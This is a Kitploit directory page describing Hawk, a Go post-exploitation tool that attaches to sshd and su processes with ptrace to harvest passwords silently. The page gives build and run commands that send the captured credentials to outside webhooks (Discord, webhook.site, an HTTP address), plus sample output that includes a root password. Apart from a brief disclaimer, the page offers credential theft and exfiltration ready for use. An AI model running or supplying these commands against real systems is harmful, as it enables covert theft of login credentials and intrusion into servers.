Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/prodefense/hawk
Password AttacksData ExfiltrationInformation GatheringPost-ExploitationPenetration TestingRed Teaming
GitHubprodefense/hawk

Hawk

Golang tool designed to exfiltrate passwords found via the sshd and su services

View Repository
38639 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share



Hawk

Silently intercept SSH and SU credentials in real-time

Hawk monitors sshd and su processes, extracting passwords from memory via ptrace without modifying target processes. Zero writes. Pure read-only credential harvesting.

Demo

Example

How It Works

Hawk leverages Linux's /proc filesystem to discover SSH and SU processes, then uses ptrace to attach and intercept syscalls. When password authentication occurs, it reads the password directly from process memory during the write() syscall—completely transparent to the target process. Credentials are exfiltrated via webhook or printed to stdout.

Deep dive: Blog Post

Build

root@kitploit:~
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o hawk

Usage

Discord Webhook

Hawk automatically detects Discord webhooks and sends formatted messages:

root@kitploit:~
./hawk https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN

Setup: Create a webhook in your Discord server following Discord's webhook guide. Credentials will appear in your channel formatted with hostname, username, and password.

Generic Webhooks

For other webhook services (webhook.site, custom servers, etc.):

root@kitploit:~
# HTTPS (auto-detected)
./hawk https://webhook.site/your-unique-id

# HTTP
./hawk http://192.168.1.100:6969/webhook

# Auto HTTPS if no protocol specified
./hawk webhook.example.com/path

Stdout Mode

No webhook? Credentials print to stdout:

root@kitploit:~
./hawk

Output:

root@kitploit:~
hostname=server01 username=root password=SuperSecret123

Requirements

  • Linux system with ptrace enabled
  • /proc filesystem mounted
  • Root privileges (required for ptrace)

Disclaimer

This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Use responsibly and only on systems you own or have explicit permission to test.

Credits

Inspired by blendin's work on 3snake.

Download Tool